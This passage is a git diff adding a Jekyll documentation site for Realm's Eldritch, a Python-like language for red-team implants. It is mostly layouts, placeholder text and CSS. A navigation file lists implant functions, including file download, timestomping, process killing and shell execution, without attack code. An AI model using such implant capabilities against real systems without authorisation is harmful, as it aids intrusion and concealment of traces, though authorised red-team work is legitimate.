+ docs/_layouts/eldritch copy.html | 167 + docs/_layouts/eldritch.html | 156 + docs/assets/css/animate.css | 2744 +++++++ docs/assets/css/bootstrap-theme.css | 476 ++ docs/assets/css/bootstrap-theme.css.map | 1 + docs/assets/css/bootstrap-theme.min.css | 5 + docs/assets/css/bootstrap.css | 6572 +++++++++++++++++ docs/assets/css/bootstrap.css.map | 1 + docs/assets/css/bootstrap.min.css | 5 + docs/assets/css/custom.css | 395 + docs/assets/css/prettyPhoto.css | 170 + docs/assets/css/stroke.css | 629 ++ docs/assets/css/style.css | 401 + docs/assets/fonts/Stroke-Gap-Icons.eot | Bin 0 -> 45796 bytes docs/assets/fonts/Stroke-Gap-Icons.svg | 224 + docs/assets/fonts/Stroke-Gap-Icons.ttf | Bin 0 -> 45596 bytes docs/assets/fonts/Stroke-Gap-Icons.woff | Bin 0 -> 33784 bytes .../font-awesome-4.3.0/css/font-awesome.css | 1801 +++++ .../css/font-awesome.min.css | 4 + .../font-awesome-4.3.0/fonts/FontAwesome.otf | Bin 0 -> 93888 bytes .../fonts/fontawesome-webfont.eot | Bin 0 -> 60767 bytes .../fonts/fontawesome-webfont.svg | 565 ++ .../fonts/fontawesome-webfont.ttf | Bin 0 -> 122092 bytes .../fonts/fontawesome-webfont.woff | Bin 0 -> 71508 bytes .../fonts/fontawesome-webfont.woff2 | Bin 0 -> 56780 bytes .../fonts/glyphicons-halflings-regular.eot | Bin 0 -> 20335 bytes .../fonts/glyphicons-halflings-regular.svg | 229 + .../fonts/glyphicons-halflings-regular.ttf | Bin 0 -> 41280 bytes .../fonts/glyphicons-halflings-regular.woff | Bin 0 -> 23320 bytes docs/assets/fonts/lanenar_Lane.eot | Bin 0 -> 18744 bytes docs/assets/fonts/lanenar_Lane.svg | 443 ++ docs/assets/fonts/lanenar_Lane.ttf | Bin 0 -> 38016 bytes docs/assets/fonts/lanenar_Lane.woff | Bin 0 -> 22084 bytes docs/assets/images/dummy.png | Bin 0 -> 191 bytes docs/assets/images/eldritch.png | Bin 0 -> 11397 bytes docs/assets/images/favicon.ico | Bin 0 -> 15086 bytes .../prettyPhoto/dark_rounded/btnNext.png | Bin 0 -> 1411 bytes .../prettyPhoto/dark_rounded/btnPrevious.png | Bin 0 -> 1442 bytes .../dark_rounded/contentPattern.png | Bin 0 -> 130 bytes .../dark_rounded/default_thumbnail.gif | Bin 0 -> 227 bytes .../prettyPhoto/dark_rounded/loader.gif | Bin 0 -> 2545 bytes .../prettyPhoto/dark_rounded/sprite.png | Bin 0 -> 4076 bytes .../prettyPhoto/dark_square/btnNext.png | Bin 0 -> 1411 bytes .../prettyPhoto/dark_square/btnPrevious.png | Bin 0 -> 1442 bytes .../dark_square/contentPattern.png | Bin 0 -> 121 bytes .../dark_square/default_thumbnail.gif | Bin 0 -> 227 bytes .../images/prettyPhoto/dark_square/loader.gif | Bin 0 -> 2545 bytes .../images/prettyPhoto/dark_square/sprite.png | Bin 0 -> 3507 bytes .../prettyPhoto/default/default_thumb.png | Bin 0 -> 1537 bytes .../images/prettyPhoto/default/loader.gif | Bin 0 -> 6331 bytes .../images/prettyPhoto/default/sprite.png | Bin 0 -> 6682 bytes .../prettyPhoto/default/sprite_next.png | Bin 0 -> 1358 bytes .../prettyPhoto/default/sprite_prev.png | Bin 0 -> 1376 bytes .../images/prettyPhoto/default/sprite_x.png | Bin 0 -> 1097 bytes .../images/prettyPhoto/default/sprite_y.png | Bin 0 -> 1162 bytes .../images/prettyPhoto/facebook/btnNext.png | Bin 0 -> 845 bytes .../prettyPhoto/facebook/btnPrevious.png | Bin 0 -> 828 bytes .../facebook/contentPatternBottom.png | Bin 0 -> 142 bytes .../facebook/contentPatternLeft.png | Bin 0 -> 137 bytes .../facebook/contentPatternRight.png | Bin 0 -> 136 bytes .../facebook/contentPatternTop.png | Bin 0 -> 142 bytes .../facebook/default_thumbnail.gif | Bin 0 -> 227 bytes .../images/prettyPhoto/facebook/loader.gif | Bin 0 -> 2545 bytes .../images/prettyPhoto/facebook/sprite.png | Bin 0 -> 4227 bytes .../prettyPhoto/light_rounded/btnNext.png | Bin 0 -> 1411 bytes .../prettyPhoto/light_rounded/btnPrevious.png | Bin 0 -> 1442 bytes .../light_rounded/default_thumbnail.gif | Bin 0 -> 227 bytes .../prettyPhoto/light_rounded/loader.gif | Bin 0 -> 2545 bytes .../prettyPhoto/light_rounded/sprite.png | Bin 0 -> 4099 bytes .../prettyPhoto/light_square/btnNext.png | Bin 0 -> 1411 bytes .../prettyPhoto/light_square/btnPrevious.png | Bin 0 -> 1442 bytes .../light_square/default_thumbnail.gif | Bin 0 -> 227 bytes .../prettyPhoto/light_square/loader.gif | Bin 0 -> 2545 bytes .../prettyPhoto/light_square/sprite.png | Bin 0 -> 3507 bytes docs/assets/images/upload/bg.png | Bin 0 -> 1542917 bytes docs/assets/images/upload/plugin1.png | Bin 0 -> 32461 bytes docs/assets/images/upload/plugin2.png | Bin 0 -> 69433 bytes docs/assets/images/upload/plugin3.png | Bin 0 -> 205065 bytes docs/assets/images/upload/thumbnail.png | Bin 0 -> 3573 bytes docs/assets/js/bootstrap.js | 2317 ++++++ docs/assets/js/bootstrap.min.js | 7 + docs/assets/js/custom.js | 73 + docs/assets/js/jquery.fitvids.js | 82 + docs/assets/js/jquery.min.js | 4 + docs/assets/js/jquery.min.map | 1 + docs/assets/js/jquery.prettyPhoto.js | 7 + docs/assets/js/main.js | 6 + docs/assets/js/retina.js | 182 + .../scripts/shAutoloader.js | 17 + .../syntax-highlighter/scripts/shBrushAS3.js | 59 + .../scripts/shBrushAppleScript.js | 75 + .../syntax-highlighter/scripts/shBrushBash.js | 59 + .../scripts/shBrushCSharp.js | 65 + .../scripts/shBrushColdFusion.js | 100 + .../syntax-highlighter/scripts/shBrushCpp.js | 97 + .../syntax-highlighter/scripts/shBrushCss.js | 91 + .../scripts/shBrushDelphi.js | 55 + .../syntax-highlighter/scripts/shBrushDiff.js | 41 + .../scripts/shBrushErlang.js | 52 + .../scripts/shBrushGroovy.js | 67 + .../scripts/shBrushJScript.js | 52 + .../syntax-highlighter/scripts/shBrushJava.js | 57 + .../scripts/shBrushJavaFX.js | 58 + .../syntax-highlighter/scripts/shBrushPerl.js | 72 + .../syntax-highlighter/scripts/shBrushPhp.js | 88 + .../scripts/shBrushPlain.js | 33 + .../scripts/shBrushPowerShell.js | 74 + .../scripts/shBrushPython.js | 64 + .../syntax-highlighter/scripts/shBrushRuby.js | 55 + .../syntax-highlighter/scripts/shBrushSass.js | 94 + .../scripts/shBrushScala.js | 51 + .../syntax-highlighter/scripts/shBrushSql.js | 66 + .../syntax-highlighter/scripts/shBrushVb.js | 56 + .../syntax-highlighter/scripts/shBrushXml.js | 69 + .../js/syntax-highlighter/scripts/shCore.js | 17 + .../js/syntax-highlighter/scripts/shLegacy.js | 17 + .../js/syntax-highlighter/styles/shCore.css | 226 + .../styles/shCoreDefault.css | 328 + .../styles/shCoreDjango.css | 331 + .../styles/shCoreEclipse.css | 339 + .../syntax-highlighter/styles/shCoreEmacs.css | 324 + .../styles/shCoreFadeToGrey.css | 328 + .../styles/shCoreMDUltra.css | 324 + .../styles/shCoreMidnight.css | 324 + .../syntax-highlighter/styles/shCoreRDark.css | 324 + .../styles/shThemeDefault.css | 117 + .../styles/shThemeDjango.css | 120 + .../styles/shThemeEclipse.css | 128 + .../styles/shThemeEmacs.css | 113 + .../styles/shThemeFadeToGrey.css | 117 + .../styles/shThemeMDUltra.css | 113 + .../styles/shThemeMidnight.css | 113 + .../styles/shThemeRDark.css | 113 + docs/assets/js/wow.js | 524 ++ docs/backup.html | 329 + docs/eldritch.html | 444 ++ docs/index.html | 4 + 146 files changed, 24688 insertions(+) create mode 100644 docs/.gitattributes create mode 100644 docs/.gitignore create mode 100644 docs/CNAME create mode 100644 docs/_config.yml create mode 100644 docs/_data/eldritch_nav.yml create mode 100644 docs/_data/site_nav.yml create mode 100644 docs/_includes/eldritch_content.html create mode 100644 docs/_includes/eldritch_nav.html create mode 100644 docs/_includes/site_nav.html create mode 100644 docs/_layouts/eldritch copy.html create mode 100644 docs/_layouts/eldritch.html create mode 100644 docs/assets/css/animate.css create mode 100644 docs/assets/css/bootstrap-theme.css create mode 100644 docs/assets/css/bootstrap-theme.css.map create mode 100644 docs/assets/css/bootstrap-theme.min.css create mode 100644 docs/assets/css/bootstrap.css create mode 100644 docs/assets/css/bootstrap.css.map create mode 100644 docs/assets/css/bootstrap.min.css create mode 100644 docs/assets/css/custom.css create mode 100644 docs/assets/css/prettyPhoto.css create mode 100644 docs/assets/css/stroke.css create mode 100644 docs/assets/css/style.css create mode 100644 docs/assets/fonts/Stroke-Gap-Icons.eot create mode 100644 docs/assets/fonts/Stroke-Gap-Icons.svg create mode 100644 docs/assets/fonts/Stroke-Gap-Icons.ttf create mode 100644 docs/assets/fonts/Stroke-Gap-Icons.woff create mode 100644 docs/assets/fonts/font-awesome-4.3.0/css/font-awesome.css create mode 100644 docs/assets/fonts/font-awesome-4.3.0/css/font-awesome.min.css create mode 100644 docs/assets/fonts/font-awesome-4.3.0/fonts/FontAwesome.otf create mode 100644 docs/assets/fonts/font-awesome-4.3.0/fonts/fontawesome-webfont.eot create mode 100644 docs/assets/fonts/font-awesome-4.3.0/fonts/fontawesome-webfont.svg create mode 100644 docs/assets/fonts/font-awesome-4.3.0/fonts/fontawesome-webfont.ttf create mode 100644 docs/assets/fonts/font-awesome-4.3.0/fonts/fontawesome-webfont.woff create mode 100644 docs/assets/fonts/font-awesome-4.3.0/fonts/fontawesome-webfont.woff2 create mode 100644 docs/assets/fonts/glyphicons-halflings-regular.eot create mode 100644 docs/assets/fonts/glyphicons-halflings-regular.svg create mode 100644 docs/assets/fonts/glyphicons-halflings-regular.ttf create mode 100644 docs/assets/fonts/glyphicons-halflings-regular.woff create mode 100644 docs/assets/fonts/lanenar_Lane.eot create mode 100644 docs/assets/fonts/lanenar_Lane.svg create mode 100644 docs/assets/fonts/lanenar_Lane.ttf create mode 100644 docs/assets/fonts/lanenar_Lane.woff create mode 100644 docs/assets/images/dummy.png create mode 100644 docs/assets/images/eldritch.png create mode 100644 docs/assets/images/favicon.ico create mode 100644 docs/assets/images/prettyPhoto/dark_rounded/btnNext.png create mode 100644 docs/assets/images/prettyPhoto/dark_rounded/btnPrevious.png create mode 100644 docs/assets/images/prettyPhoto/dark_rounded/contentPattern.png create mode 100644 docs/assets/images/prettyPhoto/dark_rounded/default_thumbnail.gif create mode 100644 docs/assets/images/prettyPhoto/dark_rounded/loader.gif create mode 100644 docs/assets/images/prettyPhoto/dark_rounded/sprite.png create mode 100644 docs/assets/images/prettyPhoto/dark_square/btnNext.png create mode 100644 docs/assets/images/prettyPhoto/dark_square/btnPrevious.png create mode 100644 docs/assets/images/prettyPhoto/dark_square/contentPattern.png create mode 100644 docs/assets/images/prettyPhoto/dark_square/default_thumbnail.gif create mode 100644 docs/assets/images/prettyPhoto/dark_square/loader.gif create mode 100644 docs/assets/images/prettyPhoto/dark_square/sprite.png create mode 100644 docs/assets/images/prettyPhoto/default/default_thumb.png create mode 100644 docs/assets/images/prettyPhoto/default/loader.gif create mode 100644 docs/assets/images/prettyPhoto/default/sprite.png create mode 100644 docs/assets/images/prettyPhoto/default/sprite_next.png create mode 100644 docs/assets/images/prettyPhoto/default/sprite_prev.png create mode 100644 docs/assets/images/prettyPhoto/default/sprite_x.png create mode 100644 docs/assets/images/prettyPhoto/default/sprite_y.png create mode 100644 docs/assets/images/prettyPhoto/facebook/btnNext.png create mode 100644 docs/assets/images/prettyPhoto/facebook/btnPrevious.png create mode 100644 docs/assets/images/prettyPhoto/facebook/contentPatternBottom.png create mode 100644 docs/assets/images/prettyPhoto/facebook/contentPatternLeft.png create mode 100644 docs/assets/images/prettyPhoto/facebook/contentPatternRight.png create mode 100644 docs/assets/images/prettyPhoto/facebook/contentPatternTop.png create mode 100644 docs/assets/images/prettyPhoto/facebook/default_thumbnail.gif create mode 100644 docs/assets/images/prettyPhoto/facebook/loader.gif create mode 100644 docs/assets/images/prettyPhoto/facebook/sprite.png create mode 100644 docs/assets/images/prettyPhoto/light_rounded/btnNext.png create mode 100644 docs/assets/images/prettyPhoto/light_rounded/btnPrevious.png create mode 100644 docs/assets/images/prettyPhoto/light_rounded/default_thumbnail.gif create mode 100644 docs/assets/images/prettyPhoto/light_rounded/loader.gif create mode 100644 docs/assets/images/prettyPhoto/light_rounded/sprite.png create mode 100644 docs/assets/images/prettyPhoto/light_square/btnNext.png create mode 100644 docs/assets/images/prettyPhoto/light_square/btnPrevious.png create mode 100644 docs/assets/images/prettyPhoto/light_square/default_thumbnail.gif create mode 100644 docs/assets/images/prettyPhoto/light_square/loader.gif create mode 100644 docs/assets/images/prettyPhoto/light_square/sprite.png create mode 100644 docs/assets/images/upload/bg.png create mode 100644 docs/assets/images/upload/plugin1.png create mode 100644 docs/assets/images/upload/plugin2.png create mode 100644 docs/assets/images/upload/plugin3.png create mode 100644 docs/assets/images/upload/thumbnail.png create mode 100644 docs/assets/js/bootstrap.js create mode 100644 docs/assets/js/bootstrap.min.js create mode 100644 docs/assets/js/custom.js create mode 100644 docs/assets/js/jquery.fitvids.js create mode 100644 docs/assets/js/jquery.min.js create mode 100644 docs/assets/js/jquery.min.map create mode 100644 docs/assets/js/jquery.prettyPhoto.js create mode 100644 docs/assets/js/main.js create mode 100644 docs/assets/js/retina.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shAutoloader.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushAS3.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushAppleScript.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushBash.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushCSharp.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushColdFusion.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushCpp.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushCss.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushDelphi.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushDiff.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushErlang.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushGroovy.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushJScript.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushJava.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushJavaFX.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushPerl.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushPhp.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushPlain.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushPowerShell.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushPython.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushRuby.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushSass.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushScala.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushSql.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushVb.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shBrushXml.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shCore.js create mode 100644 docs/assets/js/syntax-highlighter/scripts/shLegacy.js create mode 100644 docs/assets/js/syntax-highlighter/styles/shCore.css create mode 100644 docs/assets/js/syntax-highlighter/styles/shCoreDefault.css create mode 100644 docs/assets/js/syntax-highlighter/styles/shCoreDjango.css create mode 100644 docs/assets/js/syntax-highlighter/styles/shCoreEclipse.css create mode 100644 docs/assets/js/syntax-highlighter/styles/shCoreEmacs.css create mode 100644 docs/assets/js/syntax-highlighter/styles/shCoreFadeToGrey.css create mode 100644 docs/assets/js/syntax-highlighter/styles/shCoreMDUltra.css create mode 100644 docs/assets/js/syntax-highlighter/styles/shCoreMidnight.css create mode 100644 docs/assets/js/syntax-highlighter/styles/shCoreRDark.css create mode 100644 docs/assets/js/syntax-highlighter/styles/shThemeDefault.css create mode 100644 docs/assets/js/syntax-highlighter/styles/shThemeDjango.css create mode 100644 docs/assets/js/syntax-highlighter/styles/shThemeEclipse.css create mode 100644 docs/assets/js/syntax-highlighter/styles/shThemeEmacs.css create mode 100644 docs/assets/js/syntax-highlighter/styles/shThemeFadeToGrey.css create mode 100644 docs/assets/js/syntax-highlighter/styles/shThemeMDUltra.css create mode 100644 docs/assets/js/syntax-highlighter/styles/shThemeMidnight.css create mode 100644 docs/assets/js/syntax-highlighter/styles/shThemeRDark.css create mode 100644 docs/assets/js/wow.js create mode 100644 docs/backup.html create mode 100644 docs/eldritch.html create mode 100644 docs/index.html diff --git a/docs/.gitattributes b/docs/.gitattributes new file mode 100644 index 000000000..bdb0cabc8 --- /dev/null +++ b/docs/.gitattributes @@ -0,0 +1,17 @@ +# Auto detect text files and perform LF normalization +* text=auto + +# Custom for Visual Studio +*.cs diff=csharp + +# Standard to msysgit +*.doc diff=astextplain +*.DOC diff=astextplain +*.docx diff=astextplain +*.DOCX diff=astextplain +*.dot diff=astextplain +*.DOT diff=astextplain +*.pdf diff=astextplain +*.PDF diff=astextplain +*.rtf diff=astextplain +*.RTF diff=astextplain diff --git a/docs/.gitignore b/docs/.gitignore new file mode 100644 index 000000000..8510408dd --- /dev/null +++ b/docs/.gitignore @@ -0,0 +1,7 @@ +# Ruby +Gemfile +Gemfile.lock + +# Jekyll +.jekyll-cache +_site \ No newline at end of file diff --git a/docs/CNAME b/docs/CNAME new file mode 100644 index 000000000..c0688a653 --- /dev/null +++ b/docs/CNAME @@ -0,0 +1 @@ +docs.realm.pub \ No newline at end of file diff --git a/docs/_config.yml b/docs/_config.yml new file mode 100644 index 000000000..2219d9bc9 --- /dev/null +++ b/docs/_config.yml @@ -0,0 +1,2 @@ +title: Realm +description: Realm Documentation \ No newline at end of file diff --git a/docs/_data/eldritch_nav.yml b/docs/_data/eldritch_nav.yml new file mode 100644 index 000000000..ef90175b9 --- /dev/null +++ b/docs/_data/eldritch_nav.yml @@ -0,0 +1,108 @@ +- name: Overview + link: overview + content: Eldritch is a Pythonic-DSL for Red Team Implants. +- name: Standard Library + link: stdlib + content: The Standard Library is very cool, and will be even cooler when Nick documents it. + subnav: + - name: File Library + link: stdlib_file + content: The File Library is very cool, and will be even cooler when Nick documents it. + subnav: + - name: "file.append" + signature: "file.append(path: str, content: str) -> None" + link: stdlib_file_append + content: The file.append method is very cool, and will be even cooler when Nick documents it. + - name: "file.copy" + signature: "file.copy(src: str, dst: str) -> None" + link: stdlib_file_copy + content: The file.copy method is very cool, and will be even cooler when Nick documents it. + - name: "file.download" + signature: "file.download(uri: str, dst: str) -> None" + link: stdlib_file_download + content: The file.download method is very cool, and will be even cooler when Nick documents it. + - name: "file.exists" + signature: "file.exists(path: str) -> bool" + link: stdlib_file_exists + content: The file.exists method is very cool, and will be even cooler when Nick documents it. + - name: "file.hash" + signature: "file.hash(path: str) -> str" + link: stdlib_file_hash + content: The file.hash method is very cool, and will be even cooler when Nick documents it. + - name: "file.is_dir" + signature: "file.is_dir(path: str) -> bool" + link: stdlib_file_is_dir + content: The file.is_dir method is very cool, and will be even cooler when Nick documents it. + - name: "file.mkdir" + signature: "file.mkdir(path: str) -> None" + link: stdlib_file_mkdir + content: The file.mkdir method is very cool, and will be even cooler when Nick documents it. + - name: "file.read" + signature: "file.read(path: str) -> str" + link: stdlib_file_read + content: The file.read method is very cool, and will be even cooler when Nick documents it. + - name: "file.remove" + signature: "file.remove(path: str) -> None" + link: stdlib_file_remove + content: The file.remove method is very cool, and will be even cooler when Nick documents it. + - name: "file.rename" + signature: "file.rename(src: str, dst: str) -> None" + link: stdlib_file_rename + content: The file.rename method is very cool, and will be even cooler when Nick documents it. + - name: "file.replace" + signature: "file.replace(path: str, pattern: str, value: str) -> None" + link: stdlib_file_replace + content: The file.replace method is very cool, and will be even cooler when Nick documents it. + - name: "file.replace_all" + signature: "file.replace_all(path: str, pattern: str, value: str) -> None" + link: stdlib_file_replace_all + content: The file.replace_all method is very cool, and will be even cooler when Nick documents it. + - name: "file.timestomp" + signature: "file.timestomp(src: str, dst: str) -> None" + link: stdlib_file_timestomp + content: The file.timestomp method is very cool, and will be even cooler when Nick documents it. + - name: "file.write" + signature: "file.write(path: str, content: str) -> None" + link: stdlib_file_write + content: The file.write method is very cool, and will be even cooler when Nick documents it. + - name: Process Library + link: stdlib_process + content: The Process Library is very cool, and will be even cooler when Nick documents it. + subnav: + - name: "process.kill" + signature: "process.kill(pid: int) -> None" + link: stdlib_process_kill + content: The process.kill method is very cool, and will be even cooler when Nick documents it. + - name: "process.list" + signature: "process.list() -> List" + link: stdlib_process_list + content: The process.list method is very cool, and will be even cooler when Nick documents it. + - name: "process.name" + signature: "process.name(pid: int) -> str" + link: stdlib_process_name + content: The process.name method is very cool, and will be even cooler when Nick documents it. + - name: Sys Library + link: stdlib_sys + content: The Sys Library is very cool, and will be even cooler when Nick documents it. + subnav: + - name: "sys.exec" + signature: "sys.exec(path: str, args: List, ?disown: bool) -> str" + link: stdlib_sys_exec + content: The sys.exec method is very cool, and will be even cooler when Nick documents it. + - name: "sys.is_linux" + signature: "sys.is_linux() -> bool" + link: stdlib_sys_is_linux + content: The sys.is_linux method is very cool, and will be even cooler when Nick documents it. + - name: "sys.is_windows" + signature: "sys.is_windows() -> bool" + link: stdlib_sys_is_windows + content: The sys.is_windows method is very cool, and will be even cooler when Nick documents it. + - name: "sys.shell" + signature: "sys.shell(cmd: str) -> str" + link: stdlib_sys_shell + content: The sys.shell method is very cool, and will be even cooler when Nick documents it. + +- name: Dev Docs + link: dev + content: I'm sure Nick would love help developing the language, but until he finishes this documentation he probably won't receive any. + \ No newline at end of file diff --git a/docs/_data/site_nav.yml b/docs/_data/site_nav.yml new file mode 100644 index 000000000..cc2fbab1a --- /dev/null +++ b/docs/_data/site_nav.yml @@ -0,0 +1,4 @@ +- name: Home + link: /realm +- name: Eldritch + link: /realm/eldritch \ No newline at end of file diff --git a/docs/_includes/eldritch_content.html b/docs/_includes/eldritch_content.html new file mode 100644 index 000000000..07cbfe51e --- /dev/null +++ b/docs/_includes/eldritch_content.html @@ -0,0 +1,63 @@ +{% for item in site.data.eldritch_nav %} +
+
+

{{ item.name }}

+
+ +
+ {% if item.content != nil %} + +
+
+

{{ item.content }}

+
+ +
+ + {% endif %} + + {% if item.subnav != nil %} + {% for subitem in item.subnav %} +
+
+ +
+ +
+ + {% if subitem.content != nil %} +
+
+

{{ subitem.content }}

+
+ +
+ + {% endif %} + + {% if subitem.subnav != nil %} + {% for subsubitem in subitem.subnav %} +
+
+ {{ subsubitem.name }} +
+ +
+ + {% if subsubitem.content != nil %} +
+
+ {% if subsubitem.signature != nil %} + {{ subsubitem.signature }} + {% endif %} +

{{ subsubitem.content }}

+
+ +
+ {% endif %} + + {% endfor %} + {% endif %} + {% endfor %} + {% endif %} +{% endfor %} \ No newline at end of file diff --git a/docs/_includes/eldritch_nav.html b/docs/_includes/eldritch_nav.html new file mode 100644 index 000000000..c9e9fe285 --- /dev/null +++ b/docs/_includes/eldritch_nav.html @@ -0,0 +1,28 @@ + \ No newline at end of file diff --git a/docs/_includes/site_nav.html b/docs/_includes/site_nav.html new file mode 100644 index 000000000..7a46db57e --- /dev/null +++ b/docs/_includes/site_nav.html @@ -0,0 +1,7 @@ + \ No newline at end of file diff --git a/docs/_layouts/eldritch copy.html b/docs/_layouts/eldritch copy.html new file mode 100644 index 000000000..7a6c167c1 --- /dev/null +++ b/docs/_layouts/eldritch copy.html @@ -0,0 +1,167 @@ + + + + + + + + + + + + + + + + + + Realm | Documentation + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
+ +
+
+ +
+
+ +
+ +
+ +
+
+
+

Eldritch

+

A Pythonic-DSL for Red Team Implants

+
+ +
+ +
+ + +
+ +
+ + +
+ +
+ +
+
+ +
+
+
+

Overview

+
+ +
+ +
+
+

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque in magna ornare, vehicula elit sit amet, blandit augue. Maecenas placerat tortor nec dolor vehicula iaculis. Sed feugiat metus at justo mattis dignissim. Morbi sodales nibh quis sapien accumsan, ac ultricies est egestas. Morbi ac tortor in lectus ornare tempus. Integer facilisis urna a nisl lacinia volutpat. Duis non ipsum eu enim blandit bibendum. Nunc eros quam, cursus vel faucibus vitae, sollicitudin ut massa. Vivamus pulvinar libero vel elit consequat, in elementum neque lobortis. Suspendisse blandit arcu lacinia, sollicitudin dui ut, commodo lacus. Aenean quis velit tempus, suscipit sapien et, interdum risus. In non sagittis nulla. Aenean sit amet commodo urna. Integer et convallis ligula. Integer ullamcorper semper elit quis accumsan. Maecenas quis nisl ut lorem hendrerit commodo. Integer semper, purus non dictum fringilla, sem augue blandit ante, in porta ex arcu et nibh. Praesent et ipsum pharetra, scelerisque orci vitae, dignissim magna. Vivamus dolor sapien, dictum in porta quis, consectetur sit amet massa. Praesent enim libero, ultricies eu sem ac, consectetur porttitor mauris. Aliquam sed elit felis. Nam semper metus eget mauris dignissim, eu fringilla ex egestas. Aenean viverra sapien ac imperdiet placerat. Integer blandit sollicitudin lorem, in finibus ex malesuada in. Sed tincidunt purus ex, nec porttitor nunc finibus vel. Ut mattis, lorem at elementum venenatis, tellus enim tempus tellus, vitae euismod erat justo sed ante. Praesent nec nulla diam. Curabitur efficitur, neque eu vehicula iaculis, justo ipsum rhoncus dui, eu gravida sem dui sed diam. Maecenas congue, velit in ultricies ultricies, libero turpis placerat orci, eu feugiat justo libero ut odio.

+
+ +
+ +
+ + +
+ + +
+ + +
+ + +
+ + + + + + + + + + + + + + + + + + + + + diff --git a/docs/_layouts/eldritch.html b/docs/_layouts/eldritch.html new file mode 100644 index 000000000..5156bc0b1 --- /dev/null +++ b/docs/_layouts/eldritch.html @@ -0,0 +1,156 @@ + + + + + + + + + + + + + + + + + + Realm | Documentation + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
+ +
+
+ +
+
+ +
+ +
+ +
+
+
+ +
+

{{ page.title }}

+

A Pythonic-DSL for Red Team Implants

+
+ +
+ +
+ +
+ + +
+ +
+ + +
+ +
+ {% include site_nav.html %} +
+ + +
+ {% include eldritch_content.html %} +
+ + +
+ {% include eldritch_nav.html %} +
+ + +
+ + +
+ + +
+ + + + + + + + + + + + + + + + + + + + + diff --git a/docs/assets/css/animate.css b/docs/assets/css/animate.css new file mode 100644 index 000000000..60f0c962c --- /dev/null +++ b/docs/assets/css/animate.css @@ -0,0 +1,2744 @@ +@charset "UTF-8"; + + +/*! +Animate.css - http://daneden.me/animate +Licensed under the MIT license + +Copyright (c) 2013 Daniel Eden + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +*/ + +.animated { + -webkit-animation-duration: 1s; + animation-duration: 1s; + -webkit-animation-fill-mode: both; + animation-fill-mode: both; +} + +.animated.hinge { + -webkit-animation-duration: 2s; + animation-duration: 2s; +} + +@-webkit-keyframes bounce { + 0%, 20%, 50%, 80%, 100% { + -webkit-transform: translateY(0); + transform: translateY(0); + } + + 40% { + -webkit-transform: translateY(-30px); + transform: translateY(-30px); + } + + 60% { + -webkit-transform: translateY(-15px); + transform: translateY(-15px); + } +} + +@keyframes bounce { + 0%, 20%, 50%, 80%, 100% { + -webkit-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } + + 40% { + -webkit-transform: translateY(-30px); + -ms-transform: translateY(-30px); + transform: translateY(-30px); + } + + 60% { + -webkit-transform: translateY(-15px); + -ms-transform: translateY(-15px); + transform: translateY(-15px); + } +} + +.bounce { + -webkit-animation-name: bounce; + animation-name: bounce; +} + +@-webkit-keyframes flash { + 0%, 50%, 100% { + opacity: 1; + } + + 25%, 75% { + opacity: 0; + } +} + +@keyframes flash { + 0%, 50%, 100% { + opacity: 1; + } + + 25%, 75% { + opacity: 0; + } +} + +.flash { + -webkit-animation-name: flash; + animation-name: flash; +} + +/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ + +@-webkit-keyframes pulse { + 0% { + -webkit-transform: scale(1); + transform: scale(1); + } + + 50% { + -webkit-transform: scale(1.1); + transform: scale(1.1); + } + + 100% { + -webkit-transform: scale(1); + transform: scale(1); + } +} + +@keyframes pulse { + 0% { + -webkit-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + + 50% { + -webkit-transform: scale(1.1); + -ms-transform: scale(1.1); + transform: scale(1.1); + } + + 100% { + -webkit-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} + +.pulse { + -webkit-animation-name: pulse; + animation-name: pulse; +} + +@-webkit-keyframes shake { + 0%, 100% { + -webkit-transform: translateX(0); + transform: 